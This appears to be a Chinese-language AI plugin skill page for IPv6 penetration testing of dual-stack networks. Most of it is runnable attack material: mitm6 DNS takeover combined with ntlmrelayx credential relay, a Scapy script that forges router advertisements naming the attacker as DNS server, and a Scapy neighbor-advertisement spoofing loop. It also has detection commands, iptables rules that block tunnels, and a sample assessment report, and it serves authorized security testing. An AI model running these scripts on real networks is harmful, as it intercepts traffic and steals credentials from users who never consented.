Exploits IPv6 vulnerabilities like SLAAC spoofing, router advertisement flooding, and tunneling to test dual-stack security in authorized pentests.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试双栈(dual-stack)网络是否对 IPv4 和 IPv6 流量实施了一致的安全控制
Identifies and exploits IPv6 vulnerabilities like SLAAC spoofing, RA flooding, and tunneling in authorized pentests to test dual-stack security controls.
Exploits IPv6 vulnerabilities like SLAAC spoofing, RA flooding, and tunneling in authorized pentests to test dual-stack network defenses using mitm6 and THC-IPv6 tools.
Tests network infrastructure for vulnerabilities using port scanning, DNS attacks, MITM, VLAN hopping, IPv6 exploits, SMB/NetBIOS enumeration, sniffing, and DoS assessments. Includes ICS/SCADA and IoT techniques.
Share bugs, ideas, or general feedback.
禁止在以下情况使用:未获书面授权的生产网络、IPv6 中断可能导致安全问题的系统,或针对网络基础设施的拒绝服务攻击。
# 检查本地接口上是否启用了 IPv6
ip -6 addr show
# 使用组播发现本地链路上的 IPv6 主机
ping6 -c 3 ff02::1%eth0
# ff02::1 = 全节点组播地址
# 使用 THC-IPv6 工具包中的 alive6 发现主机
sudo alive6 eth0
# 使用 Nmap 扫描启用 IPv6 的主机
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0
# 检查网络上的路由器通告
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = 路由器通告
# 使用 radvdump 捕获现有 RA
sudo radvdump
# 检查 DHCPv6 服务器
sudo dhclient -6 -v eth0 --request-only
# mitm6 利用 Windows 主机在看到路由器通告时通过 DHCPv6 请求
# IPv6 配置的默认行为
# 启动 mitm6 成为 IPv6 DNS 服务器
sudo mitm6 -d example.com -i eth0
# mitm6 执行以下操作:
# 1. 发送路由器通告以在受害者上启用 IPv6
# 2. 响应 DHCPv6 请求,将自身指定为 DNS 服务器
# 3. 受害者现在通过 IPv6 向攻击者发送 DNS 查询
# 4. 攻击者可以使用欺骗的 DNS 回复进行响应
# 结合 ntlmrelayx 进行凭据中继
sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot
# 此漏洞利用:
# 1. WPAD(Web 代理自动发现)通过 DNS
# 2. Windows 向 WPAD 代理发送 NTLM 身份验证
# 3. ntlmrelayx 将凭据中继到目标服务器
#!/usr/bin/env python3
"""用于授权 IPv6 测试的虚假路由器通告。"""
from scapy.all import *
from scapy.layers.inet6 import *
# 构造路由器通告数据包
# 这使攻击者看起来像默认 IPv6 路由器
iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)
ra = (
Ether(dst="33:33:00:00:00:01") / # 全节点组播
IPv6(src=attacker_ipv6, dst="ff02::1") /
ICMPv6ND_RA(
routerlifetime=1800, # 通告作为路由器持续 30 分钟
prf=1, # 高优先级
M=0, # 无托管标志(使用 SLAAC)
O=1 # 其他配置通过 DHCPv6(DNS)
) /
ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
ICMPv6NDOptPrefixInfo(
prefix="2001:db8:dead::", # 虚假前缀
prefixlen=64,
L=1,
A=1,
validlifetime=3600,
preferredlifetime=1800
) /
ICMPv6NDOptRDNSS(
dns=[attacker_ipv6], # 攻击者作为 DNS 服务器
lifetime=1800
)
)
print(f"[*] 从 {attacker_ipv6} 发送虚假路由器通告")
print(f"[*] 通告前缀 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA 数据包已发送。受害者将使用虚假前缀配置 IPv6。")
# 邻居通告欺骗(IPv6 中 ARP 欺骗的等价操作)
# 使用 THC-IPv6 的 parasite6 工具
sudo parasite6 eth0
# 或使用 Scapy 构造
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *
# 欺骗邻居通告以重定向流量
target_ipv6 = "2001:db8::50" # 受害者 IPv6 地址
gateway_ipv6 = "2001:db8::1" # 网关 IPv6 地址
attacker_mac = get_if_hwaddr("eth0")
# 告诉受害者我们是网关
na = (
Ether(dst="33:33:00:00:00:01") /
IPv6(src=gateway_ipv6, dst="ff02::1") /
ICMPv6ND_NA(
tgt=gateway_ipv6,
R=1, S=0, O=1 # 路由器标志、Override 标志
) /
ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)
)
print("[*] 发送欺骗的邻居通告...")
sendp(na, iface="eth0", count=100, inter=1)
PYEOF
# 使用 ndpmon 检测 NDP 欺骗
sudo ndpmon -i eth0
# 检测 Teredo 隧道(IPv6 over UDP 端口 3544)
sudo tshark -i eth0 -Y "udp.port == 3544" -T fields -e ip.src -e ip.dst
# 检测 6to4 隧道(协议 41)
sudo tshark -i eth0 -Y "ip.proto == 41" -T fields -e ip.src -e ip.dst
# 检测 ISATAP 隧道
sudo tshark -i eth0 -Y "ip.proto == 41 and ipv6.dst contains \"::5efe:\"" -c 10
# 扫描启用 Teredo 的主机
nmap -6 -sU -p 3544 --open 10.10.0.0/24
# 测试 IPv6 隧道是否绕过 IPv4 防火墙规则
# 如果允许 Teredo,IPv6 流量可以绕过仅限 IPv4 的防火墙
curl -6 http://[2001:db8::50]:8080/ # 通过 IPv6 隧道访问
# 在防火墙上阻止不需要的 IPv6 隧道
# iptables:阻止协议 41(6to4、ISATAP)和 Teredo
sudo iptables -A INPUT -p 41 -j DROP
sudo iptables -A OUTPUT -p 41 -j DROP
sudo iptables -A INPUT -p udp --dport 3544 -j DROP
sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP
# 验证 ip6tables 规则是否到位
sudo ip6tables -L -n -v
# 测试 IPv6 防火墙是否反映了 IPv4 规则
# 常见疏漏:IPv4 防火墙严格,IPv6 完全开放
nmap -6 -sS -p- <target_ipv6_address>
# 比较 IPv4 和 IPv6 扫描结果
nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan
nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan
diff <(grep "open" ipv4_scan.nmap) <(grep "open" ipv6_scan.nmap)
# 检查交换机上的 IPv6 RA Guard
# Cisco: show ipv6 snooping policies
# 如果未启用,记录为发现项
# 清理:停止所有 IPv6 攻击工具
sudo killall mitm6 parasite6 2>/dev/null
| 术语 | 定义 |
|---|---|
| SLAAC(无状态地址自动配置) | IPv6 机制,主机无需 DHCP 服务器即可从路由器通告自动配置地址,可被虚假 RA 注入利用 |
| 路由器通告(RA,Router Advertisement) | 路由器发出的 ICMPv6 消息,宣布网络前缀、默认网关和 DNS 配置;虚假 RA 可实现 MITM 攻击 |
| NDP(邻居发现协议,Neighbor Discovery Protocol) | IPv6 替代 ARP,使用 ICMPv6 进行地址解析、路由器发现和重复地址检测;易受欺骗攻击 |
| mitm6 | 利用 Windows DHCPv6 偏好成为 IPv6 DNS 服务器的工具,可实现 DNS 欺骗和 NTLM 凭据中继 |
| RA Guard | 交换机级别安全功能,过滤虚假路由器通告,防止未授权主机充当 IPv6 路由器 |
| IPv6 隧道 | 将 IPv6 数据包封装在 IPv4 内(6to4、Teredo、ISATAP),可绕过仅限 IPv4 的安全控制和防火墙 |
背景:某公司在其企业网络上正式仅使用 IPv4,但 Windows 工作站默认启用了 IPv6。在一次内部渗透测试中,测试人员发现 IPv6 在 VLAN 上处于活动状态,且未部署任何 IPv6 安全控制(RA Guard、IPv6 ACL)。
方法:
注意事项:
## IPv6 安全评估报告
**测试 ID**:IPV6-2024-001
**目标网络**:VLAN 10(10.10.10.0/24,无官方 IPv6)
**评估日期**:2024-03-15
### IPv6 发现
| 发现项 | 详情 |
|--------|------|
| 已启用 IPv6 的主机 | 147/150 台工作站(Windows 默认) |
| 链路本地地址 | 所有已发现主机上均活动 |
| 路由器通告 | 未检测到(无 IPv6 路由器) |
| DHCPv6 服务器 | 不存在 |
| RA Guard | 交换机上未配置 |
| IPv6 防火墙规则 | 无(ip6tables 为空) |
### 攻击结果
| 攻击 | 结果 | 影响 |
|------|------|------|
| mitm6 DNS 接管 | 成功 | 成为 147 台主机的 IPv6 DNS |
| WPAD NTLM 中继 | 成功 | 捕获 23 次 NTLM 身份验证 |
| 域管理员中继 | 成功 | 创建了虚假域管理员账户 |
| IPv6 端口扫描 | 成功 | 所有端口开放(无 ip6tables 规则) |
### 建议
1. 在所有接入层交换机上部署 RA Guard(严重)
2. 配置与 IPv4 防火墙规则匹配的 IPv6 ACL(严重)
3. 在不需要 IPv6 的地方通过组策略禁用 DHCPv6 客户端
4. 在防火墙上阻止 IPv6 隧道协议(6to4、Teredo)
5. 部署 IPv6 感知的 IDS 规则用于 NDP 欺骗检测